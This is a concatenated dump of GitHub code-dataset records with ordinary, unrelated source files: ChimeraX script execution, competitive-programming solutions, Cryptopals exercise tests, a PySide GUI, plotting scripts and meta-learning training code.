chimerax import app_dirs\n global _sandbox_count\n _sandbox_count += 1\n sandbox = types.ModuleType(\n '%s_sandbox_%d' % (app_dirs.appname, _sandbox_count),\n '%s script sandbox' % app_dirs.appname)\n if argv is None:\n restore_argv = False\n else:\n restore_argv = True\n orig_argv = sys.argv\n sys.argv = argv\n setattr(sandbox, 'session', session)\n if hasattr(code, 'co_filename'):\n setattr(sandbox, '__file__', code.co_filename)\n try:\n sys.modules[sandbox.__name__] = sandbox\n exec(code, sandbox.__dict__)\n finally:\n del sys.modules[sandbox.__name__]\n if restore_argv:\n sys.argv = orig_argv\n\n\ndef open_python_script(session, stream, file_name, argv=None):\n \"\"\"Execute Python script in a ChimeraX context\n\n Each script is opened in a uniquely named importable sandbox\n (see timeit example above). And the current ChimeraX session\n is available as a global variable named **session**.\n\n Parameters\n ----------\n session : a ChimeraX :py:class:`~chimerax.core.session.Session`\n stream : open data stream\n file_name : how to identify the file\n \"\"\"\n try:\n data = stream.read()\n code = compile(data, stream.name, 'exec')\n _exec_python(session, code, argv)\n except Exception as e:\n from chimerax.core.errors import UserError\n if probably_chimera1_session(e):\n raise UserError(chimera1_session_message)\n session.logger.error(_format_file_exception(stream.name))\n raise UserError('Error opening python file %s' % stream.name)\n finally:\n stream.close()\n return [], \"executed %s\" % file_name\n\ndef _format_file_exception(file_path):\n '''\n Return formatted exception including only traceback frames\n after the specified code file is reached.\n '''\n import sys\n etype, value, tb = sys.exc_info()\n import traceback\n tb_entries = traceback.extract_tb(tb)\n for i, entry in enumerate(tb_entries):\n if entry.filename == file_path:\n break\n tb_length = len(tb_entries) - i\n limit = None if tb_length == 0 else -tb_length\n msg = ''.join(traceback.format_exception(etype, value, tb, limit = limit))\n return msg\n\ndef open_compiled_python_script(session, stream, file_name, argv=None):\n \"\"\"Execute compiled Python script in a ChimeraX context\n\n Each script is opened in a uniquely named importable sandbox\n (see timeit example above). And the current ChimeraX session\n is available as a global variable named **session**.\n\n Parameters\n ----------\n session : a ChimeraX :py:class:`~chimerax.core.session.Session`\n stream : open data stream\n file_name : how to identify the file\n \"\"\"\n import pkgutil\n try:\n code = pkgutil.read_code(stream)\n if code is None:\n from .errors import UserError\n raise UserError(\"Python code was compiled for a different version of Python\")\n _exec_python(session, code, argv)\n finally:\n stream.close()\n return [], \"executed %s\" % file_name\n\n\ndef open_command_script(session, path, file_name, log = True, for_each_file = None):\n \"\"\"Execute utf-8 file as ChimeraX commands.\n\n The current directory is changed to the file directory before the commands\n are executed and restored to the previous current directory after the\n commands are executed.\n\n Parameters\n ----------\n session : a ChimeraX :py:class:`~chimerax.core.session.Session`\n path : path to file to open\n file_name : how to identify the file\n log : whether to log each script command\n for_each_file : data file paths, iterate opening each file followed by the script which has $file replaced by filename with suffix stripped.\n \"\"\"\n if for_each_file is not None:\n return apply_command_script_to_files(session, path, file_name, for_each_file, log = log)\n \n input = _builtin_open(path, 'rb')\n commands = [cmd.strip().decode('utf-8', errors='replace') for cmd in input.readlines()]\n input.close()\n\n from os.path import dirname\n _run_commands(session, commands, directory = dirname(path), log = log)\n\n return [], \"executed %s\" % file_name\n\ndef _run_commands(session, commands, directory = None, log = True):\n if directory:\n import os\n prev_dir = os.getcwd()\n os.chdir(directory)\n\n from .commands import run\n try:\n for cmd in commands:\n run(session, cmd, log=log)\n finally:\n if directory:\n os.chdir(prev_dir)\n\ndef apply_command_script_to_files(session, path, script_name, for_each_file, log = True):\n input = _builtin_open(path, 'rb')\n commands = [cmd.strip().decode('utf-8', errors='replace') for cmd in input.readlines()]\n input.close()\n\n paths = []\n from glob import glob\n from os.path import expanduser\n for path in for_each_file:\n paths.extend(glob(expanduser(path)))\n\n from os.path import basename, dirname, splitext\n from .commands import run\n for i, data_path in enumerate(paths):\n run(session, 'close', log = log)\n run(session, 'open %s' % data_path, log = log)\n session.logger.status('Executing script %s on file %s (%d of %d)'\n % (basename(script_name), basename(data_path), i+1, len(paths)))\n fprefix = splitext(basename(data_path))[0]\n cmds = [cmd.replace('$file', fprefix) for cmd in commands]\n _run_commands(session, cmds, directory = dirname(data_path), log = log)\n\n return [], \"executed %s on %d data files\" % (script_name, len(paths))\n\ndef probably_chimera1_session(evalue):\n if type(evalue) != ModuleNotFoundError:\n return False\n if 'cPickle' not in str(evalue):\n return False\n from traceback import format_exception\n import sys\n formatted = format_exception(*sys.exc_info())\n if len(formatted) > 1 and ' line 1,' in formatted[-2]:\n return True\n return False\n\nchimera1_session_message = \"\"\"\\\nChimeraX cannot open a regular Chimera session. An exporter from Chimera to\nChimeraX is available in the latest Chimera release. Use its File->Export Scene\nmenu item, and change the resulting dialog's \"File Type\" to ChimeraX.\"\"\"\n","repo_name":"RBVI/ChimeraX","sub_path":"src/bundles/core/src/scripting.py","file_name":"scripting.py","file_ext":"py","file_size_in_byte":6433,"program_lang":"python","lang":"en","doc_type":"code","stars":103,"dataset":"github-code","pt":"60"} +{"seq_id":"642656087","text":"from typing import List, Tuple\n\nfrom utils import read_file\n\ndata = read_file(7)\n\n\ndef get_bag_color(bag: str):\n return bag.rsplit(' ', 1)[0]\n\n\ndef parse_bag_str(bag_str: str) -> Tuple[str, List[Tuple[str, int]]]:\n outer, inner = bag_str.split(' contain ')\n outer = get_bag_color(outer)\n contents = []\n for bag in inner.split(', '):\n if bag != 'no other bags.':\n num_bags, bag_type = bag.split(' ', 1)\n bag_type = get_bag_color(bag_type)\n contents.append((bag_type, int(num_bags)))\n\n return outer, contents\n\n\nbag_map = dict([parse_bag_str(bag) for bag in data])\n\n\ndef p1():\n def find_gold_bags(bag_name: str):\n res = 0\n for contents in bag_map[bag_name]:\n if not contents:\n return 0\n if contents[0] == 'shiny gold':\n res = 1\n res = res or find_gold_bags(contents[0])\n return res\n\n return sum(find_gold_bags(b) for b in bag_map)\n\n\nprint(p1())\n\n\ndef p2():\n def get_bag_count(color='shiny gold'):\n if not bag_map.get(color):\n return 0\n total_sub_bags = 0\n for child_color, amt in bag_map[color]:\n total_sub_bags += amt * (get_bag_count(child_color) + 1)\n\n return total_sub_bags\n\n return get_bag_count()\n\n\nprint(p2())\n","repo_name":"sschwa12/aoc2020","sub_path":"07.py","file_name":"07.py","file_ext":"py","file_size_in_byte":1318,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"28453538342","text":"import unittest\n\nfrom set4.challenge27.cbc_iv_key import gen_ascii_oracle, \\\n gen_encryption_method, recover_key\n\n\nclass TestCBCIVKey(unittest.TestCase):\n\n def test_validate_ascii_valid_plaintext_returns_none(self):\n plaintext = b\"Hello World!\"\n key = b\"YELLOW SUBMARINE\"\n encrypt = gen_encryption_method(key)\n validate_ascii = gen_ascii_oracle(key)\n\n ciphertext = encrypt(plaintext)\n self.assertIsNone(validate_ascii(ciphertext))\n\n def test_validate_ascii_invalid_plaintext_returns_decryption(self):\n plaintext = b\"This is an extended ascii character: \\x80\"\n key = b\"YELLOW SUBMARINE\"\n encrypt = gen_encryption_method(key)\n validate_ascii = gen_ascii_oracle(key)\n\n ciphertext = encrypt(plaintext)\n self.assertEqual(plaintext, validate_ascii(ciphertext))\n\n def test_recover_key_ciphertext_less_than_three_blocks_returns_none(self):\n ciphertext = b\"Less than three blocks\"\n key = b\"YELLOW SUBMARINE\"\n validate_ascii = gen_ascii_oracle(key)\n\n self.assertIsNone(recover_key(ciphertext, validate_ascii))\n\n def test_recover_key_nominal_case(self):\n plaintext = (b\"The most merciful thing in the world, I think, is the \"\n b\"inability of the human mind to correlate all its \"\n b\"contents. We live on a placid island of ignorance in \"\n b\"the midst of black seas of infinity, and it was not \"\n b\"meant that we should voyage far.\")\n key = b\"THECALLOFCTHULHU\"\n encrypt = gen_encryption_method(key)\n validate_ascii = gen_ascii_oracle(key)\n\n ciphertext = encrypt(plaintext)\n\n self.assertEqual(key, recover_key(ciphertext, validate_ascii))\n","repo_name":"Gawesomer/CryptoPyls","sub_path":"set4/challenge27/tests/tests_cbc_iv_key.py","file_name":"tests_cbc_iv_key.py","file_ext":"py","file_size_in_byte":1775,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"2300449290","text":"#exercise 4\nl = [i for i in range(10)]\nl\n[0, 1, 2, 3, 4, 5, 6, 7, 8, 9]\nl = list(range(10))\nl\n[0, 1, 2, 3, 4, 5, 6, 7, 8, 9]\n#exercise5\ndef maximum(x, y, z):\n\n if (x >= y) and (x >= z):\n\n largest = x\n\n elif (y >= x) and (y >= z):\n\n largest = y\n\n else:\n\n largest = z\n\n return largest\n\n#excercise6\nlst = [20, 10, 20, 1, 100]\na,i = min((a,i) for (i,a) in enumerate(lst))\nprint(a)\n#exercise7\ndef isOdd(num):\n return (num % 2 != 0)\n\nnum = int(input('Enter a number: '))\n\nif isOdd(num):\n print(num,\"is an odd number\")\nelse:\n print(num,\"is not an odd number\")\n#excercise8\nnegativeSet = set()\n\nnumber = int(input(\"Enter the Total Negative Set Items = \"))\nfor i in range(1, number + 1):\n value = int(input(\"Enter the %d Set Item = \" %i))\n negativeSet.add(value)\n\nprint(\"Negative Set Items = \", negativeSet)\n\nprint(\"\\nThe Negative Numbers in this negativeSet Set are:\")\nfor negaVal in negativeSet:\n if(negaVal < 0):\n print(negaVal, end = \" \")","repo_name":"jac141/AcademicConnections","sub_path":"IntroPythonHW12022/HW1 90 Sitong Liu.py","file_name":"HW1 90 Sitong Liu.py","file_ext":"py","file_size_in_byte":982,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"27914782452","text":"# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, val=0, next=None):\n# self.val = val\n# self.next = next\nclass Solution:\n def reorderList(self, head: Optional[ListNode]) -> None:\n \"\"\"\n Do not return anything, modify head in-place instead.\n \"\"\"\n temp = head\n temp_prev = None\n temp_next = None\n size = 0\n middle = 0\n values = []\n \n \n while(temp!=None):\n size = size + 1\n values.append(temp)\n temp = temp.next\n \n if size==1 or size==2:\n return\n elif size%2 != 0:\n middle = ((size+1)/2)-1\n else:\n middle = size/2\n \n temp = head\n index = size-1\n while(middle!=index):\n temp_next = temp.next\n temp.next = values[index]\n values[index].next = temp_next\n temp = temp_next\n index = index - 1\n \n values[int(middle)].next = None\n \n # temp = values[int(middle)]\n # temp_prev = values[int(middle-1)]\n # temp_prev.next = temp.next\n \n return \n ","repo_name":"pk1098/leetcode","sub_path":"linkedList_143.py","file_name":"linkedList_143.py","file_ext":"py","file_size_in_byte":1206,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"70971019072","text":"# https://www.hackerrank.com/challenges/castle-on-the-grid/\n\nfrom collections import deque, namedtuple\nfrom sys import stdin, stdout\n\nLocation = namedtuple(\"Location\", [\"row\", \"column\"])\n\n\ndef nearbyLocationsOnTheGrid(grid, free, start):\n height = len(grid)\n width = len(grid[0])\n nearbyLocations = []\n for column in range(start.column - 1, -1, -1):\n if grid[start.row][column] == free:\n nearbyLocations.append(Location(start.row, column))\n else:\n break\n for row in range(start.row - 1, -1, -1):\n if grid[row][start.column] == free:\n nearbyLocations.append(Location(row, start.column))\n else:\n break\n for column in range(start.column + 1, width):\n if grid[start.row][column] == free:\n nearbyLocations.append(Location(start.row, column))\n else:\n break\n for row in range(start.row + 1, height):\n if grid[row][start.column] == free:\n nearbyLocations.append(Location(row, start.column))\n else:\n break\n return nearbyLocations\n\n\nclass Node:\n def __init__(self, state, parent):\n self.state = state\n self.parent = parent\n\n\ndef BFS(grid, free, start, goal):\n frontier = deque([Node(start, None)])\n explored = set([start])\n while frontier:\n node = frontier.pop()\n for neighbor in nearbyLocationsOnTheGrid(grid, free, node.state):\n if neighbor == goal:\n return node\n if neighbor in explored:\n continue\n explored.add(neighbor)\n frontier.appendleft(Node(neighbor, node))\n return None\n\n\ndef pathToGoal(node):\n reversedPath = [node.state]\n while node.parent:\n node = node.parent\n reversedPath.append(node.state)\n return reversedPath[::-1]\n\n\ndef printGrid(grid, path):\n for loc in path:\n grid[loc.row][loc.column] = \"\\u25A1\"\n\n output = \"\"\n for row in grid:\n output += \" \".join(row) + \"\\n\"\n print(output)\n\n\ndef minimumMoves(grid, free, start, goal):\n node = BFS(grid, free, start, goal)\n path = pathToGoal(node)\n printGrid(grid, path)\n return len(path)\n\n\nif __name__ == \"__main__\":\n # get data\n n = int(stdin.readline().rstrip())\n grid = [list(stdin.readline().rstrip()) for _ in range(n)]\n startX, startY, goalX, goalY = map(int, stdin.readline().rstrip().split())\n\n # set variables\n start = Location(startX, startY)\n goal = Location(goalX, goalY)\n\n # print result\n stdout.write(f\"{minimumMoves(grid, '.', start, goal)}\\n\")\n","repo_name":"luanleonardo/algorithmic-problem-solving","sub_path":"HackerRank/castle-on-the-grid.py","file_name":"castle-on-the-grid.py","file_ext":"py","file_size_in_byte":2581,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"} +{"seq_id":"26911584615","text":"import nextcord\r\nfrom nextcord.ext import commands\r\n\r\nclass ORiON(commands.Cog, name='ORiON'):\r\n def __init__(self, bot):\r\n self.bot = bot\r\n \r\n @commands.command(description= \"Tells you how to join ORiON!\")\r\n async def join(self, ctx):\r\n embed=nextcord.Embed(title=\"read the pinned message at announcements u dumdum\", url=\"https://discord.com/channels/880016735980363776/880036716377948190/880497534357864558\", description=\"u didn't read the rules didn't u\")\r\n await ctx.reply(embed=embed)\r\n\r\ndef setup(bot):\r\n bot.add_cog(ORiON(bot))\r\n","repo_name":"KTSKM/Ori","sub_path":"cogs/ORiON.py","file_name":"ORiON.py","file_ext":"py","file_size_in_byte":572,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"36137456169","text":"# https://codeforces.com/edu/course/2/lesson/9/1/practice/contest/307092/problem/A\n\nsize_1, size_2 = list(map(int, input().split()))\narr_1 = list(map(int, input().split()))\narr_2 = list(map(int, input().split()))\n\nptr_1, ptr_2 = 0, 0\nmerged = []\n\nwhile ptr_1 < size_1 and ptr_2 < size_2:\n if arr_1[ptr_1] <= arr_2[ptr_2]:\n merged.append(arr_1[ptr_1])\n ptr_1 += 1\n else:\n merged.append(arr_2[ptr_2])\n ptr_2 += 1\n\nif ptr_1 == size_1:\n merged.extend(arr_2[ptr_2:])\nelse:\n merged.extend(arr_1[ptr_1:])\n\nprint(*merged)\n\n","repo_name":"Son-OfAnton/Competitive-Programming","sub_path":"CodeForces/mergeArrays.py","file_name":"mergeArrays.py","file_ext":"py","file_size_in_byte":555,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"33517740576","text":"import sys\nfrom PySide.QtCore import *\nfrom PySide.QtGui import *\n\n\nfrom textspread import VERSION_STRING, APPLICATION_NAME\nfrom textspread.ui.table_widget_custom import TableWidgetCustom \nfrom textspread.config import get_parse_list\n\n\nclass ResultTab(object):\n pass\n\n\nclass MainWindow(QMainWindow):\n def __init__(self, cfgfiles=None):\n super(MainWindow, self).__init__()\n self.resize(1130, 500)\n # Is this necessary???\n #self.setAttribute(QtCore.Qt.WA_DeleteOnClose)\n status = self.statusBar()\n #status.setSizeGripEnabled(False)\n #status.addPermanentWidget(self.sizeLabel)\n status.showMessage(APPLICATION_NAME + ' ' + VERSION_STRING) \n self.setWindowTitle(APPLICATION_NAME) \n self.createMenus()\n self.tabWidget = QTabWidget()\n\n # \n # Display results. One tab for each file. Each tab contains a \n # (custom) QTableWidget.\n # \n self.parseList = None\n self.configFilenames = cfgfiles\n self.loadData();\n self.populateData();\n self.setCentralWidget(self.tabWidget)\n\n def populateData(self):\n if not self.parseList:\n return\n\n #self.tabList = []\n for p in self.parseList:\n resultTable = TableWidgetCustom()\n #t = ResultTab()\n #t.parseConfig = p\n #t.resultTable = resultTable\n if p.column_list and len(p.column_list) > 0:\n resultTable.setColumnCount(len(p.column_list))\n resultTable.setHorizontalHeaderLabels(p.column_list)\n if p.result_list:\n resultTable.setRowCount(len(p.result_list))\n row_index = 0\n for row in p.result_list:\n for col in range(0, len(p.column_list)):\n if row[col]:\n item = QTableWidgetItem(row[col])\n resultTable.setItem(row_index, col, item)\n row_index = row_index + 1\n if row_index > 0:\n resultTable.setCurrentCell(row_index - 1, 0)\n self.tabWidget.addTab(resultTable, p.name)\n #self.tabList.append(t)\n \n\n def loadData(self):\n plist = get_parse_list(self.configFilenames)\n if not plist:\n logging.error(\"Oops! Error loading data!\")\n QMessageBox.warning(self, \"Error\", \"Error loading data\")\n #sys.exit(\"ERROR ABORT\")\n self.parseList = plist\n\n def refreshData(self):\n self.tabWidget.clear()\n self.loadData()\n self.populateData();\n\n\n def createMenus(self):\n fileRefreshAct = QAction(\"Refresh\", self, shortcut=\"F5\",\n statusTip=\"Reload all data\",\n triggered=self.refreshData)\n fileExitAct = QAction(\"E&xit\", self, shortcut=\"Ctrl+Q\",\n statusTip=\"Exit the application\", triggered=self.close)\n \n helpAboutAct = QAction(\"&About\", self,\n statusTip=\"Show About box\",\n triggered=self.about)\n \n self.fileMenu = self.menuBar().addMenu(\"&File\")\n self.fileMenu.addAction(fileRefreshAct)\n self.fileMenu.addAction(fileExitAct)\n \n self.helpMenu = self.menuBar().addMenu(\"&Help\")\n self.helpMenu.addAction(helpAboutAct)\n \n def about(self):\n about_text = \"

\" + APPLICATION_NAME + \"

\" + \\\n \"Version \" + VERSION_STRING + \" \" \n about_text += \"\"\"\n

Design and coding by Robert Iwancz
\nCopyright (c) 2013-2014

\n

www.voidynullness.net

\n

___

\n

This application is free software released under the GNU General Public License. It is distributed WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

\n\"\"\"\n QMessageBox.about(self, \"About\", about_text)\n \n \n","repo_name":"robulouski/text-spread","sub_path":"textspread/ui/mainwin.py","file_name":"mainwin.py","file_ext":"py","file_size_in_byte":4091,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"21295852006","text":"# I wanted to practice funcitons but it's badly written\n# and not SOLID (returning values of different type)\n\ndata_array = input().split()\ndata_array = [int(i) for i in data_array]\n\n\ndef exchange(arr, index):\n if index < len(arr) and index >= 0:\n return arr[index+1:] + arr[:index + 1]\n else:\n return \"Invalid index\"\n\n\ndef max_even(arr):\n max_index = 0\n max_even = -2**31\n is_found = False\n for i, num in enumerate(arr):\n if num >= max_even and num % 2 == 0:\n max_even = num\n max_index = i\n is_found = True\n if is_found:\n return max_index\n else:\n return \"No matches\"\n\n\ndef max_odd(arr):\n max_index = 0\n max_odd = -2**31\n is_found = False\n for i, num in enumerate(arr):\n if num >= max_odd and num % 2 != 0:\n max_odd = num\n max_index = i\n is_found = True\n if is_found:\n return max_index\n else:\n return \"No matches\"\n\n\ndef min_even(arr):\n min_index = 0\n min_even = 2**31\n is_found = False\n for i, num in enumerate(arr):\n if num <= min_even and num % 2 == 0:\n min_even = num\n min_index = i\n is_found = True\n if is_found:\n return min_index\n else:\n return \"No matches\"\n\n\ndef min_odd(arr):\n min_index = 0\n min_odd = 2**31\n is_found = False\n for i, num in enumerate(arr):\n if num <= min_odd and num % 2 != 0:\n min_odd = num\n min_index = i\n is_found = True\n if is_found:\n return min_index\n else:\n return \"No matches\"\n\n\ndef count_first_even(arr, range_bound):\n result = []\n if range_bound > len(arr):\n return \"Invalid count\"\n else:\n for i in arr:\n if i % 2 == 0 and len(result) < range_bound:\n result.append(i)\n return result\n\n\ndef count_first_odd(arr, range_bound):\n result = []\n if range_bound > len(arr):\n return \"Invalid count\"\n else:\n for i in arr:\n if i % 2 != 0 and len(result) < range_bound:\n result.append(i)\n return result\n\n\ndef count_last_even(arr, range_bound):\n result = []\n if range_bound > len(arr):\n return \"Invalid count\"\n else:\n for i in reversed(arr):\n if i % 2 == 0 and len(result) < range_bound:\n result.insert(0, i)\n return result\n\n\ndef count_last_odd(arr, range_bound):\n result = []\n if range_bound > len(arr):\n return \"Invalid count\"\n else:\n for i in reversed(arr):\n if i % 2 != 0 and len(result) < range_bound:\n result.insert(0, i)\n return result\n\n\nwhile True:\n command = input()\n if command == \"end\":\n break\n else:\n tokens = command.split()\n if tokens[0] == \"exchange\":\n temp = exchange(data_array, int(tokens[1]))\n error = \"Invalid index\"\n if temp != error:\n data_array = temp\n else:\n print(error)\n elif tokens[0] == \"max\":\n if tokens[1] == \"even\":\n print(max_even(data_array))\n else:\n print(max_odd(data_array))\n elif tokens[0] == \"min\":\n if tokens[1] == \"even\":\n print(min_even(data_array))\n else:\n print(min_odd(data_array))\n elif tokens[0] == \"first\":\n count = int(tokens[1])\n if tokens[2] == \"even\":\n print(count_first_even(data_array, count))\n else:\n print(count_first_odd(data_array, count))\n elif tokens[0] == \"last\":\n count = int(tokens[1])\n if tokens[2] == \"even\":\n print(count_last_even(data_array, count))\n else:\n print(count_last_odd(data_array, count))\n\nprint(data_array)\n","repo_name":"ZhekoGinev/SoftUni","sub_path":"Python/01-python-fundamentals/03-lists-basics/03-more-exercises/06-lists-manipulator.py","file_name":"06-lists-manipulator.py","file_ext":"py","file_size_in_byte":3896,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"60"} +{"seq_id":"3157001688","text":"#coding=gbk\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport matplotlib as mpl\r\n\r\nmpl.rcParams['font.sans-serif'] = ['KaiTi'] # 画图时显示楷体中文\r\nmpl.rcParams['font.serif'] = ['KaiTi']\r\n\r\nlc=pd.DataFrame(pd.read_csv('../jdspider/jd_air_condition_3.csv',encoding='utf-8-sig'))\r\n# print(lc[\"brand\"])\r\n# lc.loc[lc[\"brand\"] != \"TCL\"].head()\r\n# a = lc.loc[lc['price'] > 5000].price.count()\r\na0 = lc.loc[lc[\"brand\"] == \" 美的\"].comment_count.sum()\r\na1 = lc.loc[lc[\"brand\"] == \" 奥克斯\"].comment_count.sum()\r\na2 = lc.loc[lc[\"brand\"] == \" 海尔\"].comment_count.sum()\r\na3 = lc.loc[lc[\"brand\"] == \" 志高\"].comment_count.sum()\r\na4 = lc.loc[lc[\"brand\"] == \" TCL\"].comment_count.sum()\r\na5 = lc.loc[lc[\"brand\"] == \" 海信\"].comment_count.sum()\r\na6 = lc.loc[lc[\"brand\"] == \" 格力\"].comment_count.sum()\r\na7 = lc.loc[lc[\"brand\"] == \" 小米\"].comment_count.sum()\r\na8 = lc.loc[lc[\"brand\"] == \" 松下\"].comment_count.sum()\r\na9 = lc.loc[lc[\"brand\"] == \" 科龙\"].comment_count.sum()\r\na = lc['comment_count'].sum()\r\n\r\n\r\n\r\n# a0 = lc.loc[(lc['brand'] == ' 美的') & (lc['price'] < 1000)].price.count()\r\nwaters = ('美的', '奥克斯', '海尔', '志高', 'TCL','海信','格力','小米','松下','科龙')\r\nbuy_number = [a0, a1, a2, a3, a4, a5, a6, a7, a8, a9]\r\nfor x, y in enumerate(buy_number):\r\n plt.text(x, y + 100, '%s' % y, ha='center', va='bottom')\r\nplt.bar(waters, buy_number)\r\nplt.ylabel('销售量') # 纵坐标轴标题\r\nplt.title('不同品牌市场销售情况')\r\nplt.savefig('品牌销售数量.png')\r\nplt.show()\r\n\r\n\r\n\r\n# 将画布设定为正方形。正圆。\r\nplt.figure(figsize=(8, 8))\r\n\r\nlabel = ['美的', '奥克斯', '海尔', '志高', 'TCL', '海信', '格力', '小米', '松下', '科龙']\r\n\r\n# 突出显示某一扇形。距离圆心n个半径。\r\nexplode = [0, 0, 0, 0, 0.05, 0, 0, 0.05, 0.1, 0.15,]\r\n\r\nvalues = [a0, a1, a2, a3, a4, a5, a6, a7, a8, a9]\r\n\r\nplt.pie(values,\r\n explode=explode,\r\n labels=label,\r\n autopct='%1.1f%%',\r\n startangle=90,\r\n radius=0.9,\r\n counterclock=False, # 数据是顺时针？逆时针？\r\n wedgeprops={'linewidth': 0.4, 'edgecolor': 'red'}, # 设置饼图内外边框属性。\r\n textprops={'fontsize': 18, 'color': 'k'}, # 设置文本的属性值。k为黑色。\r\n center=(0, 0), # 饼图的原点。\r\n pctdistance=0.7, # 百分比数据标签与圆心的距离。\r\n labeldistance=1.2, # 设置外层'城市'标签与圆心的距离。\r\n )\r\n\r\nplt.title('不同品牌空调市场销售占比') # 绘制标题\r\n\r\n# 图例的位置。\r\n# bbox_to_anchor前一个参数表示左右。第二个参数是上下。\r\n# ncol图例一列显示。\r\nplt.legend(loc='center right', bbox_to_anchor=(1.2, 0.5), ncol=1)\r\nplt.savefig('不同品牌空调市场销售占比.png')\r\nplt.show()","repo_name":"18208102/jdspider1","sub_path":"jd_visual_buy_num_brand.py","file_name":"jd_visual_buy_num_brand.py","file_ext":"py","file_size_in_byte":2608,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"20738306463","text":"import pandas as pd\n\ncsv_df = pd.read_csv(\"2017_pc_members_public.csv\")\ncsv_df.sort_values(\"LASTNAME\", inplace=True)\n\nitem_template_str = \\\n\"\"\"\\n\n\n
\n
\n
\n

\n {{FIRSTNAME}} {{LASTNAME}}
{{AFFIL}}\n

\n
\n
\n
\n\\n\"\"\"\n\nout_md_str = \"Title: Program Committee\\nDate: 2017-11-15\\nSkipNavBar: 1\"\nout_md_str += (\n\"\"\"\\n\n\n\\n\"\"\")\n\n#n_per_row = 100\nout_md_str += \\\n\"\"\"\nMany thanks to the 100+ members of our program committee who reviewed submitted papers.\n\n
\n\"\"\"\n\nfor item_id, row_obj in enumerate(csv_df.itertuples()):\n row_dict = row_obj.__dict__\n item_str = item_template_str + \"\"\n for key, val in row_dict.items():\n default_val = \"\"\n cur_val = str(val)\n if len(cur_val) == '' or cur_val == 'nan':\n cur_val = default_val\n item_str = item_str.replace(\"{{%s}}\" % str(key), cur_val)\n out_md_str += item_str\n\n\nout_md_str += \"
\\n\"\n\nwith open(\"../pages/program_committee.md\", 'w') as f:\n f.write(out_md_str)","repo_name":"michaelchughes/ml4hc_nips_workshop_website","sub_path":"2017_content/organizer_data/make_page__program_committee.py","file_name":"make_page__program_committee.py","file_ext":"py","file_size_in_byte":1318,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"12426440496","text":"import torch.nn as nn\nfrom torch.autograd import Variable\nimport numpy as np\nfrom methods.protonet import pn_loss\nfrom methods.matchingnet import mn_loss, FullyContextualEmbedding\nfrom methods.relationnet import rn_loss, RelationModule\nfrom backbones.utils import device_kwargs\n\nclass metaLearningFuns(nn.Module):\n def __init__(self, args, net): \n super(metaLearningFuns, self).__init__()\n self.n_way = args.train_n_way\n self.n_support = args.n_shot\n self.n_query = args.n_query \n self.net = net \n self.out_dim = args.out_dim \n self.device = device_kwargs(args) \n \n if args.method == 'ProtoNet':\n self.score_loss = pn_loss\n self.loss_fn = nn.CrossEntropyLoss() \n\n if args.method == 'MatchingNet':\n self.score_loss = mn_loss\n self.loss_fn = nn.NLLLoss()\n self.FCE = FullyContextualEmbedding(self.out_dim)\n self.G_encoder = nn.LSTM(self.out_dim, self.out_dim, 1, batch_first=True, bidirectional=True)\n self.relu = nn.ReLU()\n self.softmax = nn.Softmax(dim=1)\n \n self.loss_type = 'mse' #'softmax'# 'mse' \n if args.method == 'RelationNet':\n self.score_loss = rn_loss\n self.relation_module = RelationModule(self.out_dim , 8, self.loss_type) #relation net features are not pooled, so self.feat_dim is [dim, w, h] \n if self.loss_type == 'mse':\n self.loss_fn = nn.MSELoss() \n else:\n self.loss_fn = nn.CrossEntropyLoss()\n \n def embedding_fun(self, x, n_way):\n x = Variable(x.cuda()).contiguous()\n x = x.view(n_way * (self.n_support + self.n_query), *x.size()[2:]) \n \n z_all = self.net.forward(x)\n z_all = z_all.view(n_way, self.n_support + self.n_query, -1)\n z_support = z_all[:, :self.n_support]\n z_query = z_all[:, self.n_support:]\n return z_support, z_query\n \n def accuracy_fun(self, x, n_way): \n z_support, z_query = self.embedding_fun(x, n_way)\n scores = self.score_loss(self, z_support, z_query, loss_fn = None, loss = False, score = True, rb=None)\n #self, z_support, z_query, score = True)\n y_query = np.repeat(range(n_way), self.n_query )\n\n topk_scores, topk_labels = scores.data.topk(1, 1, True, True)\n topk_ind = topk_labels.cpu().numpy()\n top1_correct = np.sum(topk_ind[:,0] == y_query)\n \n return float(top1_correct)/ len(y_query)*100 \n\n def train_loop(self, epoch, train_loader, optimizer): \n loss_sum=0\n for i, (x,_ ) in enumerate(train_loader): ## x.shape = [30, 7, 3, 224, 224]\n self.n_query = x.size(1) - self.n_support \n optimizer.zero_grad()\n z_support, z_query = self.embedding_fun(x, self.n_way)\n loss = self.score_loss(self, z_support, z_query, \n loss_fn = self.loss_fn, loss = True) \n loss.backward()\n optimizer.step()\n loss_sum = loss_sum+loss.item() \n return loss_sum/float(i+1)\n \n def test_loop(self, test_loader, n_way):\n acc_all = []\n iter_num = len(test_loader) \n for i, (x,_) in enumerate(test_loader):\n self.n_query = x.size(1) - self.n_support\n acc_all.append(self.accuracy_fun(x, n_way))\n acc_all = np.asarray(acc_all)\n teAcc = np.mean(acc_all)\n acc_std = np.std(acc_all)\n conf_interval = 1.96* acc_std/np.sqrt(iter_num)\n return teAcc, conf_interval\n\n","repo_name":"ArmanAfrasiyabi/associative-alignment-fs","sub_path":"associative alignment-fs/methods/metaLearningFuns.py","file_name":"metaLearningFuns.py","file_ext":"py","file_size_in_byte":3733,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"60"} +{"seq_id":"40224295245","text":"import 